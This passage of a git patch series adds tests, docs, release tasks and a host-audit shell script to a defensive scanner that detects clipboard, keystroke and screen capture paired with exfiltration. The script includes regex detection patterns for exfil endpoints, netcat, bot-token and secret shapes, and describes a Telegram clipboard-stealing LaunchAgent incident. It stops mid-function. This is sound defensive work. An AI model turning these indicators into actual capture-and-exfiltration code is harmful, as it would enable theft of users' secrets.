   assert_output --partial "Suspicious decoder/string-table helpers"
 }
 
+@test "decoder/string-table helpers: charCodeAt( alone is not flagged" {
+  write_file "ok.js" 'const char = str.charCodeAt(i);'
+  write_file "ok2.js" 'hash = (hash << 5) + hash + str.charCodeAt(i);'
+  scan
+  assert_success
+}
+
 @test "runtime source construction: new Function( is flagged" {
   write_file "dirty.js" 'const f = new Function("return process")'
   scan
@@ -569,3 +667,65 @@ write_file() {
   assert_output --partial "preinstall (script)"
   assert_equal "$(count_in_output '(script)')" 2
 }
+
+# -------------------------------------------------------------------------------
+# Inline suppression (am-i-compromised-ignore)
+# -------------------------------------------------------------------------------
+
+@test "suppression: a same-line marker with a reason clears the scan" {
+  write_file "reviewed.js" 'eval("1") // am-i-compromised-ignore: reviewed, see ticket SEC-42'
+  scan
+  assert_success
+  assert_output --partial "1 finding suppressed by inline comment"
+  assert_output --partial "reason: reviewed, see ticket SEC-42"
+}
+
+@test "suppression: a marker on the line before the finding also clears it" {
+  write_file "reviewed.js" \
+    '// am-i-compromised-ignore: bee movie joke string, not code' \
+    'eval("1")'
+  scan
+  assert_success
+  assert_output --partial "reviewed.js:2"
+  assert_output --partial "reason: bee movie joke string, not code"
+}
+
+@test "suppression: a marker with no reason does not suppress anything" {
+  write_file "dirty.js" 'eval("1") // am-i-compromised-ignore:'
+  scan
+  assert_failure
+  assert_output --partial "Dynamic code execution"
+  refute_output --partial "suppressed"
+}
+
+@test "suppression: is honored in non-JS comment syntax" {
+  write_file "reviewed.py" 'eval("1")  # am-i-compromised-ignore: sandboxed constant, reviewed'
+  scan
+  assert_success
+  assert_output --partial "reason: sandboxed constant, reviewed"
+}
+
+@test "suppression: suppressed findings are counted separately and do not hide real ones" {
+  write_file "reviewed.js" 'eval("1") // am-i-compromised-ignore: reviewed, see ticket SEC-42'
+  write_file "dirty.js" 'eval("2")'
+  scan
+  assert_failure
+  # only dirty.js counts toward the gate; reviewed.js is suppressed, not silent
+  assert_output --partial "security-gate: FAILED — 1 finding across 1 file"
+  assert_output --partial "1 finding suppressed by inline comment"
+  assert_output --partial "dirty.js:1"
+  assert_output --partial "reviewed.js:1"
+  assert_output --partial "reason: reviewed, see ticket SEC-42"
+}
+
+@test "suppression: a marker only suppresses its own line, not a different finding two lines away" {
+  write_file "mixed.js" \
+    'eval("1") // am-i-compromised-ignore: reviewed' \
+    'ok()' \
+    'eval("3")'
+  scan
+  assert_failure
+  assert_output --partial "security-gate: FAILED — 1 finding across 1 file"
+  assert_output --partial "mixed.js:3"
+  assert_output --partial "1 finding suppressed by inline comment"
+}

From 7eb3a62809e0166f9a8f99e47b10343cbd4b5ac9 Mon Sep 17 00:00:00 2001
From: Isaac Bell <2613157+IsaacBell@users.noreply.github.com>
Date: Fri, 25 Sep 2026 08:28:33 -0400
Subject: [PATCH 3/9] chore(release): am-i-compromised 1.1.0, publish tasks,
 releasing checklist

Bump am-i-compromised to 1.1.0. Add mise publish and dry-run tasks for all
three packages, a per-package release checklist (docs/RELEASING.md), and
ignore Python bytecode.
---
 .gitignore                         |  4 +++
 apps/am-i-compromised/package.json |  2 +-
 docs/RELEASING.md                  | 44 ++++++++++++++++++++++++++++++
 mise.toml                          | 11 ++++++++
 4 files changed, 60 insertions(+), 1 deletion(-)
 create mode 100644 docs/RELEASING.md

diff --git a/.gitignore b/.gitignore
index 44217f2..c8a85d7 100644
--- a/.gitignore
+++ b/.gitignore
@@ -17,6 +17,10 @@ coverage/
 */package-lock.json
 *test/.bats/run-logs/
 
+# python
+__pycache__/
+*.pyc
+
 # scratch file that should never be committed
 */test.bats
 */test2/
diff --git a/apps/am-i-compromised/package.json b/apps/am-i-compromised/package.json
index 0fa2b1e..29a330c 100644
--- a/apps/am-i-compromised/package.json
+++ b/apps/am-i-compromised/package.json
@@ -1,6 +1,6 @@
 {
   "name": "am-i-compromised",
-  "version": "1.0.0",
+  "version": "1.1.0",
   "description": "Detect compromised code and dependencies in your project",
   "license": "ISC",
   "author": "Isaac Bell <contact@isaacbell.io>",
diff --git a/docs/RELEASING.md b/docs/RELEASING.md
new file mode 100644
index 0000000..8377252
--- /dev/null
+++ b/docs/RELEASING.md
@@ -0,0 +1,44 @@
+# Release Checklist
+
+Per-package release workflow. Each package is independent; npm publish requires 2FA.
+
+## am-i-compromised (next: 1.1.0)
+
+- [ ] Verify heuristics work completes
+- [ ] Update version in `apps/am-i-compromised/package.json`
+- [ ] Dry-run: `mise run publish-dry-run`
+- [ ] Publish: `mise run publish` (2FA required)
+- [ ] Tag: `git tag am-i-compromised@1.1.0`
+- [ ] GitHub release
+
+## secure-semgrep (current: 1.0.1)
+
+- [ ] Update version in `apps/secure-semgrep/package.json`
+- [ ] Dry-run: `mise run publish-secure-semgrep-dry-run`
+- [ ] Publish: `mise run publish-secure-semgrep` (2FA required)
+- [ ] Tag: `git tag secure-semgrep@<version>`
+- [ ] GitHub release
+
+## am-i-being-recorded (current: 0.1.0)
+
+- [ ] Update version in `apps/am-i-being-recorded/package.json`
+- [ ] Dry-run: `mise run publish-am-i-being-recorded-dry-run`
+- [ ] Publish: `mise run publish-am-i-being-recorded` (2FA required)
+- [ ] Tag: `git tag am-i-being-recorded@<version>`
+- [ ] GitHub release
+
+## Pre-release checks (all packages)
+
+```bash
+# Run before any publish
+mise run check
+```
+
+Ensures lint, format-check, and tests pass across all packages.
+
+## Notes
+
+- Tag format: `<package>@<version>` (matches existing `am-i-compromised@1.0.0`)
+- All `mise run publish*` tasks check dependencies before running
+- Publish tasks are in `mise.toml` — see there for package-specific dry-run options
+- Package metadata (name, version, description, license, repository.directory, bin paths, files, engines) is publish-ready; verified with `npm pack --dry-run`
diff --git a/mise.toml b/mise.toml
index 9411f65..604dc16 100644
--- a/mise.toml
+++ b/mise.toml
@@ -98,6 +98,17 @@ description = "Preview the files secure-semgrep would publish"
 dir = "apps/secure-semgrep"
 run = "npm pack --dry-run"
 
+[tasks.publish-am-i-being-recorded]
+description = "Publish am-i-being-recorded to the npm registry"
+depends = ["check"]
+dir = "apps/am-i-being-recorded"
+run = "pnpm publish"
+
+[tasks.publish-am-i-being-recorded-dry-run]
+description = "Preview the files that would be published by am-i-being-recorded"
+dir = "apps/am-i-being-recorded"
+run = "npm pack --dry-run"
+
 [tasks.doctor]
 description = "Diagnose the dev environment (mise doctor)"
 run = "mise doctor"

From a49f7b1d3f046a4678d622695d8043d118eaafa3 Mon Sep 17 00:00:00 2001
From: Isaac Bell <2613157+IsaacBell@users.noreply.github.com>
Date: Fri, 25 Sep 2026 08:28:33 -0400
Subject: [PATCH 4/9] feat(am-i-compromised): host audit hardening +
 clipboard/exfil payload detection, release 1.2.0

Extends 'am-i-compromised host' (launchd, rc files, AI-tool config, processes) to cover every
indicator from the clipboard-to-Telegram LaunchAgent incident, adds capture+exfil source detection
to the scanner, fixes MCP field parsing and rc sourcing, and documents the incident.
---
 apps/am-i-compromised/README.md               |   40 +
 apps/am-i-compromised/bin/host-audit.sh       | 1028 +++++++++++++++++
 apps/am-i-compromised/bin/ioc-patterns.sh     |   51 +
 apps/am-i-compromised/bin/scanner.sh          |  145 +++
 apps/am-i-compromised/package.json            |    2 +-
 apps/am-i-compromised/test/host-audit.bats    |  765 ++++++++++++
 apps/am-i-compromised/test/scanner.bats       |  179 +++
 docs/RELEASING.md                             |    4 +-
 .../2026-09-clipboard-telegram-launchagent.md |   39 +
 9 files changed, 2250 insertions(+), 3 deletions(-)
 create mode 100644 apps/am-i-compromised/bin/host-audit.sh
 create mode 100644 apps/am-i-compromised/test/host-audit.bats
 create mode 100644 docs/incidents/2026-09-clipboard-telegram-launchagent.md

diff --git a/apps/am-i-compromised/README.md b/apps/am-i-compromised/README.md
index 533fa44..003ab33 100644
--- a/apps/am-i-compromised/README.md
+++ b/apps/am-i-compromised/README.md
@@ -49,6 +49,10 @@ installed on the host (see [Requirements](#requirements)).
     downloads and runs a payload
   - executable payloads disguised as binary assets (JavaScript inside a `.woff2`,
     `.png`, `.ttf`, `.svg`, and similar files)
+  - clipboard, keystroke, and screen capture paired with exfiltration (a
+    Telegram/Discord/Slack/webhook endpoint, a bot token, `nc`/`ncat`), plus the
+    decisive single signals: a hardcoded bot token, a background-launcher
+    wrapper, or a persistence writer beside a capture call
 - Scans JS/TS/Python/Rust/Ruby/C/C++/C# sources, editor config, and binary-asset
   extensions out of the box
 - Excludes `node_modules`, build output, VCS dirs, and `.git`-adjacent noise
@@ -205,6 +209,42 @@ not read it.** `safe-pull` inspects commits nobody has reviewed yet — that's
 the entire point of the guard — so a marker written by whoever authored the
 incoming diff must never be able to wave off their own payload.
 
+## Clipboard/keylogger/exfil detection
+
+A scanner that only knows npm supply-chain patterns misses a whole class of
+malware: a hidden script that reads the clipboard — or the keyboard, or the
+screen — and forwards what it captures to a remote service. In September 2026 a
+macOS LaunchAgent wrapper started a Node script that posted every clipboard
+change to a Telegram bot, and no source scan could see it.
+
+A capture API on its own is ordinary (clipboard managers, screenshot tools,
+test helpers), so these signals are combined **per file**: a capture signal and
+an exfiltration signal in the *same* file is reported as HIGH, while a few
+decisive shapes stand alone as MEDIUM. The check covers `.js`, `.mjs`, `.cjs`,
+`.ts`, `.py`, `.sh`, `.zsh`, `.bash`, `.rb`, `.swift`, `.plist`, and
+extensionless scripts with a shebang.
+
+| Signal group | Example indicators | Severity |
+| --- | --- | --- |
+| Clipboard read | `pbpaste`, `xclip`, `xsel`, `wl-paste`, `Get-Clipboard`, `clipboardy`, `clipboard-event`, `NSPasteboard`, `navigator.clipboard.readText`, `pyperclip` | context |
+| Keystroke / screen capture | `CGEventTap`, `pynput`, `iohook`, `node-global-key-listener`, `keylogger`, `screencapture`, `screenshot-desktop`, `pyautogui.screenshot` | context |
+| Exfiltration | `api.telegram.org`, `/sendMessage`, `/sendDocument`, `node-telegram-bot-api`, `telegraf`, Discord/Slack webhooks, `webhook.site`, `pastebin.com/api`, `transfer.sh`, `ngrok`, `nc`/`ncat` to a host, bot-token shape `[0-9]{8,10}:[A-Za-z0-9_-]{35}` | context |
+| Capture **and** exfiltration in one file | any capture signal together with any exfiltration signal | HIGH |
+| Hardcoded Telegram bot token | a `123456789:AAA…` token literal in any scanned file | MEDIUM |
+| Background launcher wrapper | `nohup node <payload>.js >> <log> &` behind a pid-file lock | MEDIUM |
+| …with a live payload | the named `<payload>.js` sits beside it and captures + exfiltrates | HIGH |
+| Persistence beside capture | `launchctl load`, `~/Library/LaunchAgents`, `crontab -`, `~/.config/autostart` in a script that also captures | MEDIUM |
+| Capture-shaped file name | name matching `(clip|key|screen)[-_ ]?(logger|monitor|spy|grab)` that reads the clipboard or input | MEDIUM |
+
+Files under `node_modules`/`.cache`, build output, and the fixtures dir are
+never scanned, so a README mention or a vendor's own clipboard-library source
+with no exfiltration endpoint does not trip the gate. Reviewed matches can still
+be marked safe with `am-i-compromised-ignore:` (see above).
+
+`security-gate host` audits the machine itself for the persistence side of this
+same class — launch agents, shell startup files, AI-tool config, and running
+processes.
+
 ## Guarded pull (`safe-pull`)
 
 Scanning the working tree is too late for one class of attack: a commit that adds
diff --git a/apps/am-i-compromised/bin/host-audit.sh b/apps/am-i-compromised/bin/host-audit.sh
new file mode 100644
index 0000000..b6f1c26
--- /dev/null
+++ b/apps/am-i-compromised/bin/host-audit.sh
@@ -0,0 +1,1028 @@
+#!/usr/bin/env bash
+# bin/host-audit.sh — run as `am-i-compromised host`.
+#
+# Is something on THIS machine persisting, capturing, or steering your tools?
+#
+# The repository scanner (scanner.sh) reads source trees, so it cannot see what
+# lives outside them. In September 2026 a developer laptop ran a clipboard
+# logger for about two weeks: a user LaunchAgent started a shell wrapper from
+# ~/Library/Application Support, which launched a Node script that sent every
+# clipboard change to a Telegram bot. No repository contained any of it, so no
+# source scan could have found it. See docs/incidents/2026-09-clipboard-telegram-launchagent.md.
+#
+# Read-only: it never modifies, deletes, or contacts anything. It checks:
+#   - login persistence: launchd agents and daemons (macOS), systemd user units
+#     and XDG autostart (Linux), and the user crontab
+#   - the scripts those entries launch, and the script files beside them:
+#     clipboard reads, keystroke or screen capture, and exfiltration endpoints
+#   - shell startup files: piped remote scripts, injected libraries, hijacked
+#     sudo/ssh, background launchers, redirected API base URLs
+#   - AI-tool configuration: redirected API base URLs, permission bypass,
+#     plain-text keys, MCP servers that run unpinned code, and every hook that
+#     observes prompts and tool output
+#   - running processes: interpreters running capture or staging-area scripts
+#
+# HIGH and MEDIUM findings make the exit status 1. INFO never does.
+#
+# A finding you reviewed and accept can be allowed with a reason, one per line
+# in ~/.config/am-i-compromised/host-allow.txt (override with AIC_HOST_ALLOW):
+#
+#   <finding id> | <why this is expected>
+#
+# The reason is required. Allowed findings are listed on every run, never hidden.
+#
+# Test seams: AIC_HOST_HOME, AIC_HOST_PROJECT, AIC_HOST_OS, AIC_HOST_LAUNCH_DIRS
+# (colon-separated), AIC_HOST_PS_FILE, AIC_HOST_CRONTAB_FILE, AIC_HOST_MANAGED_DIRS
+# (colon-separated; the root-owned agent settings directories). CLAUDE_CONFIG_DIR
+# and CODEX_HOME are honored as on a real machine.
+#
+# Written for bash 3.2 (the macOS system bash): no associative arrays, mapfile,
+# or case-conversion expansions.
+
+set -u
+
+usage() {
+	cat <<'EOF'
+usage: am-i-compromised host [--verbose]
+
+Read-only audit of this machine: login persistence, shell startup files,
+AI-tool configuration, and running processes. Exits 1 if anything needs review.
+
+  -v, --verbose   also list informational items and every persistence entry
+  -h, --help      show this help
+
+Allow a reviewed finding by adding "<finding id> | <reason>" to
+~/.config/am-i-compromised/host-allow.txt (or the file named by AIC_HOST_ALLOW).
+EOF
+}
+
+VERBOSE=0
+for arg in "$@"; do
+	case "$arg" in
+	-v | --verbose) VERBOSE=1 ;;
+	-h | --help)
+		usage
+		exit 0
+		;;
+	*)
+		echo "host-audit: unknown option '$arg'" >&2
+		usage >&2
+		exit 2
+		;;
+	esac
+done
+
+HOME_DIR="${AIC_HOST_HOME:-$HOME}"
+PROJECT_DIR="${AIC_HOST_PROJECT:-$PWD}"
+OS="${AIC_HOST_OS:-$(uname -s)}"
+ALLOW_FILE="${AIC_HOST_ALLOW:-$HOME_DIR/.config/am-i-compromised/host-allow.txt}"
+
+if [[ -t 1 && -z "${NO_COLOR:-}" ]]; then
+	C_RED=$'\033[31m' C_YELLOW=$'\033[33m' C_GREEN=$'\033[32m' C_DIM=$'\033[2m' C_BOLD=$'\033[1m' C_RESET=$'\033[0m'
+else
+	C_RED='' C_YELLOW='' C_GREEN='' C_DIM='' C_BOLD='' C_RESET=''
+fi
+
+readonly US=$'\037'
+FINDINGS=""  # records: rank+sev US id US title US where US evidence US next
+ALLOWED=""   # the same, plus a trailing US reason
+INVENTORY="" # one line per persistence entry (shown with --verbose)
+SEEN="|"     # ids already recorded
+RC_SEEN="|"  # startup files already scanned, so a source loop cannot recurse
+JQ_NOTED=0
+
+# --- indicator definitions ------------------------------------------------------
+
+RE_CLIP_READ='pbpaste|NSPasteboard|generalPasteboard|clipboardy|pyperclip|xclip|xsel|wl-paste|Get-Clipboard|clipboard-listener'
+RE_CAPTURE_WORD='clipboard|pasteboard|keylog|keystroke'
+RE_KEYLOG='CGEventTap|kCGEventKeyDown|IOHIDManager|addGlobalMonitorForEvents|pynput|logkeys'
+RE_SCREEN='screencapture[[:space:]]|CGDisplayCreateImage|CGWindowListCreateImage|scrot[[:space:]]|import[[:space:]]+-window[[:space:]]+root'
+RE_EXFIL_URL='api\.telegram\.org|discord(app)?\.com/api/webhooks|hooks\.slack\.com/services|webhook\.site|pastebin\.com/api|transfer\.sh|requestbin|ngrok\.(io|app|dev)|sendMessage'
+RE_EXFIL_WORD='telegram|discord|webhook'
+RE_BG_LAUNCH='nohup[[:space:]].*&'
+# Names used by capture-tool folders and by the September 2026 incident. Kept
+# narrow: these are names a capture tool gives itself, not generic words.
+RE_CAPTURE_DIR_NAME='clipboard|pasteboard|keylog|screenshot|screencap|monitor'
+RE_INCIDENT_IOC='clipboardmonitor|clipboard_tg_monitor|ClipboardMonitor/run_monitor\.sh|com\.sstar\.'
+# Secret shapes, matched case-insensitively but never printed. The last is the
+# Telegram bot-token shape.
+RE_SECRET_SHAPE='sk-ant-[A-Za-z0-9_-]{10,}|ghp_[A-Za-z0-9]{20,}|github_pat_[A-Za-z0-9_]{20,}|AKIA[0-9A-Z]{16}|xox[bp]-[A-Za-z0-9-]{10,}|sk-[A-Za-z0-9]{20,}|[0-9]{8,10}:[A-Za-z0-9_-]{35}'
+# Env keys that redirect where a tool sends its traffic. *_HOST requires the
+# underscore so a stray "host" key elsewhere is not swept in.
+RE_AGENT_URL_KEY='([A-Za-z0-9_]+_BASE_URL|[A-Za-z0-9_]+_API_URL|[A-Za-z0-9_]+_ENDPOINT|[A-Za-z0-9_]+_HOST|base_url|api_url|endpoint|HTTP_PROXY|HTTPS_PROXY|ALL_PROXY)'
+# Absolute paths a hook should never be running code from.
+RE_HOOK_BAD_PATH='node_modules/|/tmp/|/var/folders/|/private/tmp/|/\.cache/|Application Support/'
+
+# --- small helpers -----------------------------------------------------------------
+
+trim() {
+	local s="$1"
+	s="${s#"${s%%[![:space:]]*}"}"
+	s="${s%"${s##*[![:space:]]}"}"
+	printf '%s' "$s"
+}
+
+tilde() {
+	local t='~'
+	printf '%s' "${1/#$HOME_DIR/$t}"
+}
+
+# has <text> <regex> — case-insensitive extended-regex test on a short string.
+has() { printf '%s' "$1" | grep -Eiq -- "$2"; }
+
+# file_has <regex> <file>... — true if any file matches. Files only, never a pipe.
+file_has() {
+	local re="$1"
+	shift
+	[[ $# -gt 0 ]] && grep -aEiqs -- "$re" "$@"
+}
+
+# redact — strip obvious secret values from text on stdin before it is shown.
+redact() {
+	sed -E 's/(sk-|ghp_|xox[a-z]-)[A-Za-z0-9_-]{8,}/\1<redacted>/g; s/bot[0-9]{6,}:[A-Za-z0-9_-]{20,}/bot<redacted>/g; s/([Tt]oken|[Kk]ey|[Pp]assword|[Ss]ecret)([=:\/]+[[:space:]]*)[^[:space:]"'"'"']{6,}/\1\2<redacted>/g' | cut -c1-160
+}
+
+# GNU stat first: BSD stat rejects -c, while GNU stat -f means "filesystem", not "format".
+mtime_epoch() {
+	stat -c %Y "$1" 2>/dev/null || stat -f %m "$1" 2>/dev/null || echo 0
+}
+
+mtime_date() {
+	local e
+	e="$(mtime_epoch "$1")"
+	date -r "$e" +%F 2>/dev/null || date -d "@$e" +%F 2>/dev/null || echo unknown
+}
+
+age_days() {
+	local e now
+	e="$(mtime_epoch "$1")"
+	now="$(date +%s)"
+	echo $(((now - e) / 86400))
+}
+
+# allow_reason <id> — the reviewed reason on stdout, status 0, if the id is allowed.
+allow_reason() {
+	local line id reason
+	[[ -f "$ALLOW_FILE" ]] || return 1
+	while IFS= read -r line || [[ -n "$line" ]]; do
+		case "$line" in '' | '#'*) continue ;; esac
+		[[ "$line" == *"|"* ]] || continue
+		id="$(trim "${line%%|*}")"
+		reason="$(trim "${line#*|}")"
+		if [[ "$id" == "$1" && -n "$reason" ]]; then
+			printf '%s' "$reason"
+			return 0
+		fi
+	done <"$ALLOW_FILE"
+	return 1
+}
+
+# finding <HIGH|MEDIUM|INFO> <id> <title> <where> <evidence> <next>
+finding() {
+	local rank reason
+	case "$SEEN" in *"|$2|"*) return 0 ;; esac
+	SEEN="${SEEN}$2|"
+	case "$1" in HIGH) rank=3 ;; MEDIUM) rank=2 ;; *) rank=1 ;; esac
+	if reason="$(allow_reason "$2")"; then
+		ALLOWED="${ALLOWED}${rank}$1${US}$2${US}$3${US}$4${US}$5${US}$6${US}${reason}"$'\n'
+		return 0
+	fi
+	FINDINGS="${FINDINGS}${rank}$1${US}$2${US}$3${US}$4${US}$5${US}$6"$'\n'
+}
+
+cksum_id() { printf '%s' "$1" | cksum | awk '{print $1}'; }
+
+# staging_zone <path> — true for places malware stages in and legitimate services rarely run from.
+staging_zone() {
+	case "$1" in
+	"$HOME_DIR"/Library/Application\ Support/* | "$HOME_DIR"/Library/Caches/* | "$HOME_DIR"/Downloads/* | "$HOME_DIR"/.* | "$HOME_DIR"/Public/*) return 0 ;;
+	/tmp/* | /var/tmp/* | /private/tmp/* | /private/var/tmp/* | /var/folders/* | /private/var/folders/* | /Users/Shared/* | /dev/shm/*) return 0 ;;
+	esac
+	return 1
+}
+
+# is_interpreter <word> — true for an interpreter name. Uses parameter expansion,
+# not basename: a login shell shows up as "-zsh", which basename treats as options
+# and fails on. A leading dash is stripped.
+is_interpreter() {
+	local b="${1##*/}"
+	b="${b#-}"
+	case "$b" in node | python | python3* | python2* | ruby | perl | bash | sh | zsh | osascript | deno | bun) return 0 ;; esac
+	return 1
+}
+
+is_script() {
+	case "$1" in *.sh | *.bash | *.zsh | *.js | *.mjs | *.cjs | *.py | *.rb | *.pl | *.command | *.scpt | *.applescript) return 0 ;; esac
+	[[ -f "$1" && "$(LC_ALL=C head -c 2 "$1" 2>/dev/null)" == '#!' ]]
+}
+
+# --- persistence entries ---------------------------------------------------------------
+
+# collect_payload <program> <args...> — the files worth reading for one persistence
+# entry: any script it names, plus the script files beside it. Vendor and system
+# locations are skipped. Capped so one odd directory cannot stall the audit.
+collect_payload() {
+	local p dir f n=0 seen="|" size
+	for p in "$@"; do
+		[[ "$p" == /* && -f "$p" ]] || continue
+		case "$p" in /usr/* | /bin/* | /sbin/* | /System/* | /Library/Apple/* | /Applications/* | /opt/homebrew/* | /Library/Frameworks/*) continue ;; esac
+		dir="$(dirname "$p")"
+		for f in "$p" "$dir"/*.sh "$dir"/*.js "$dir"/*.mjs "$dir"/*.cjs "$dir"/*.py "$dir"/*.rb "$dir"/*.pl "$dir"/*.command "$dir"/*.scpt; do
+			[[ -f "$f" ]] || continue
+			case "$seen" in *"|$f|"*) continue ;; esac
+			# Test readability first: "<file" is opened by the shell before wc
+			# runs, so a redirect to an unreadable root-only file prints its own
+			# "Permission denied" that 2>/dev/null on wc cannot silence. Callers
+			# turn the "!" marker into an INFO finding outside this subshell.
+			if [[ ! -r "$f" ]]; then
+				seen="${seen}${f}|"
+				printf '!%s\n' "$f"
+				continue
+			fi
+			size="$(wc -c <"$f" | tr -d ' ')"
+			[[ "${size:-0}" -le 204800 ]] || continue
+			((n < 30)) || return 0
+			seen="${seen}${f}|"
+			n=$((n + 1))
+			printf '%s\n' "$f"
+			# A script the entry names directly is not enough: only pull siblings for scripts.
+			is_script "$p" || break
+		done
+	done
+}
+
+# collect_hop <file> — one level of indirection: the script files a shell wrapper
+# launches (`node X.js`, `python3 Y.py`), resolved relative to the wrapper. The
+# wrapper in the incident runs `node clipboard_tg_monitor.js` from its own folder,
+# so following that hop is what reaches the payload.
+collect_hop() {
+	local file="$1" dir tgt
+	[[ -r "$file" ]] || return 0
+	dir="$(dirname "$file")"
+	while IFS= read -r tgt; do
+		[[ -n "$tgt" ]] || continue
+		case "$tgt" in
+		'~'/*) tgt="$HOME_DIR/${tgt#'~'/}" ;;
+		'[$]HOME'/*) tgt="$HOME_DIR/${tgt#'[$]HOME'/}" ;;
+		*'[$]HOME'*) continue ;;
+		/*) ;;
+		*) tgt="$dir/$tgt" ;;
+		esac
+		[[ -f "$tgt" ]] || continue
+		case "$tgt" in *.js | *.mjs | *.cjs | *.py | *.rb | *.pl | *.sh | *.bash | *.zsh) printf '%s\n' "$tgt" ;; esac
+	done < <(sed -nE 's#.*(^|[^[:alnum:]_])(node|python3?|ruby|perl|bash|sh|zsh|osascript)[[:space:]]+([^[:space:];&|<>"'"'"']+[.](js|mjs|cjs|py|rb|pl|sh|bash|zsh)).*#\3#p' "$file" 2>/dev/null)
+}
+
+# assess_entry <id> <where> <label> <program> <args...>
+assess_entry() {
+	local id="$1" where="$2" label="$3" program="$4"
+	shift 4
+	local chain="$label $program $*" f a
+	local files=() capture=0 exfil=0 exfil_url=0 zone=0 launcher=0 dangling=0 ioc=0
+	local sigs="" sev="" title="" next="" date evidence
+
+	while IFS= read -r f; do
+		[[ -n "$f" ]] || continue
+		case "$f" in
+		'!'*)
+			finding INFO "unreadable:$(cksum_id "${f#!}")" "A persistence file could not be read" "$(tilde "${f#!}")" "unreadable (permission denied)" "Only a root-owned file should be unreadable to you. Check who owns it: ls -l."
+			;;
+		*) files+=("$f") ;;
+		esac
+	done <<<"$(collect_payload "$program" "$@")"
+
+	if [[ ${#files[@]} -gt 0 ]]; then
+		local hop_seen="|" hf
+		for f in "${files[@]}"; do hop_seen="${hop_seen}${f}|"; done
+		while IFS= read -r hf; do
+			[[ -n "$hf" ]] || continue
+			case "$hop_seen" in *"|$hf|"*) continue ;; esac
+			hop_seen="${hop_seen}${hf}|"
+			files+=("$hf")
+		done <<<"$(for f in "${files[@]}"; do collect_hop "$f"; done)"
+	fi
+
+	if has "$chain" "$RE_CAPTURE_WORD"; then
+		capture=1
+		sigs="${sigs}capture keyword in name or path; "
+	fi
+	if has "$chain" "$RE_EXFIL_WORD"; then
+		exfil=1
+		sigs="${sigs}messaging keyword in name or path; "
+	fi
+	# ProgramArguments often carry the payload inline (`sh -c "... pbpaste |
+	# curl api.telegram.org ..."`). The chain text is judged with the same
+	# capture and exfiltration signals as a script file would be.
+	if has "$chain" "$RE_CLIP_READ"; then
+		capture=1
+		sigs="${sigs}reads the clipboard; "
+	fi
+	if has "$chain" "$RE_EXFIL_URL"; then
+		exfil=1
+		exfil_url=1
+		sigs="${sigs}exfiltration endpoint; "
+	fi
+	if has "$chain" "$RE_INCIDENT_IOC"; then
+		ioc=1
+		sigs="${sigs}known incident indicator; "
+	fi
+
+	if [[ ${#files[@]} -gt 0 ]]; then
+		if file_has "$RE_CLIP_READ" "${files[@]}"; then
+			capture=1
+			sigs="${sigs}reads the clipboard; "
+		fi
+		if file_has "$RE_CAPTURE_WORD" "${files[@]}" && [[ "$capture" == 0 ]]; then
+			capture=1
+			sigs="${sigs}capture keyword in script; "
+		fi
+		if file_has "$RE_KEYLOG" "${files[@]}"; then
+			capture=1
+			sigs="${sigs}keystroke capture APIs; "
+		fi
+		if file_has "$RE_SCREEN" "${files[@]}"; then
+			capture=1
+			sigs="${sigs}screen capture; "
+		fi
+		if file_has "$RE_EXFIL_URL" "${files[@]}"; then
+			exfil=1
+			exfil_url=1
+			sigs="${sigs}exfiltration endpoint; "
+		elif file_has "$RE_EXFIL_WORD" "${files[@]}"; then
+			exfil=1
+			sigs="${sigs}messaging keyword in script; "
+		fi
+		if file_has "$RE_BG_LAUNCH" "${files[@]}"; then
+			sigs="${sigs}background launcher; "
+		fi
+		if file_has '[0-9]{8,10}:[A-Za-z0-9_-]{35}' "${files[@]}"; then
+			exfil=1
+			exfil_url=1
+			sigs="${sigs}messaging bot token in script; "
+		fi
+		if file_has "$RE_INCIDENT_IOC" "${files[@]}"; then
+			ioc=1
+			sigs="${sigs}known incident indicator; "
+		fi
+	fi
+
+	for a in "$program" "$@"; do
+		[[ "$a" == /* ]] || continue
+		staging_zone "$a" && zone=1
+		is_script "$a" && launcher=1
+	done
+	is_interpreter "$program" && launcher=1
+	[[ "$zone" == 1 && "$launcher" == 1 ]] && sigs="${sigs}script in a user-writable location; "
+	[[ "$program" == /* && ! -e "$program" ]] && dangling=1
+
+	date="$(mtime_date "$where")"
+	if [[ "$capture" == 1 && ("$exfil" == 1 || ("$zone" == 1 && "$launcher" == 1)) ]]; then
+		sev=HIGH
+		if [[ "$exfil" == 1 ]]; then title="Capture tool that reports to a remote service"; else title="Capture tool launched from a user-writable location"; fi
+		next="Copy the entry and its folder somewhere inert as evidence (do not run them), then unload it. Treat everything you copied or typed since $date as exposed; rotate it from a clean device."
+	elif [[ "$exfil_url" == 1 ]]; then
+		sev=MEDIUM
+		title="Persistence entry references an exfiltration endpoint"
+		next="Read the script. If you did not write it, preserve it and unload the entry."
+	elif [[ "$zone" == 1 && "$launcher" == 1 ]]; then
+		sev=MEDIUM
+		title="Login script runs from a user-writable location"
+		next="Confirm you installed it. Vendor software normally launches signed programs from /Applications."
+	elif [[ "$dangling" == 1 ]]; then
+		sev=MEDIUM
+		title="Persistence entry points at a missing program"
+		sigs="${sigs}program not found: $(tilde "$program"); "
+		next="Remove the stale entry, or find out what deleted its program (cleanup after an incident looks like this)."
+	elif [[ "$(age_days "$where")" -le 30 && "$label" != com.apple.* ]]; then
+		sev=INFO
+		title="Persistence entry added or changed in the last 30 days"
+		next="Confirm you know why."
+	fi
+
+	# A name or path from the incident is always high, whatever else matched.
+	if [[ "$ioc" == 1 && "$sev" != HIGH ]]; then
+		sev=HIGH
+		[[ -n "$title" ]] || title="Persistence entry matches a known clipboard-exfiltration campaign"
+		next="Treat this as the September 2026 clipboard campaign: preserve the files, unload the entry, and rotate anything copied since it first appeared."
+	fi
+
+	INVENTORY="${INVENTORY}  $label -> $(tilde "$program") (changed $date)"$'\n'
+	[[ -n "$sev" ]] || return 0
+	evidence="$(trim "${sigs%; }")"
+	if [[ -n "$evidence" ]]; then evidence="$evidence (changed $date)"; else evidence="changed $date"; fi
+	finding "$sev" "$id" "$title" "$(tilde "$where") -> $(tilde "$program")" "$evidence" "$next"
+}
+
+plist_xml() {
+	if command -v plutil >/dev/null 2>&1; then
+		plutil -convert xml1 -o - "$1" 2>/dev/null || cat "$1"
+	else
+		cat "$1"
+	fi
+}
+
+# plist_values <key> [limit] — the <string> values of a key (a string or an array of strings) from XML on stdin.
+plist_values() {
+	awk -v key="$1" -v lim="${2:-0}" '
+		$0 ~ "<key>" key "</key>" { want = 1; next }
+		want && /<array>/ { arr = 1; next }
+		want && arr && /<\/array>/ { want = 0; arr = 0; next }
+		want && /<string>/ {
+			s = $0; sub(/.*<string>/, "", s); sub(/<\/string>.*/, "", s)
+			q = sprintf("%c", 39)
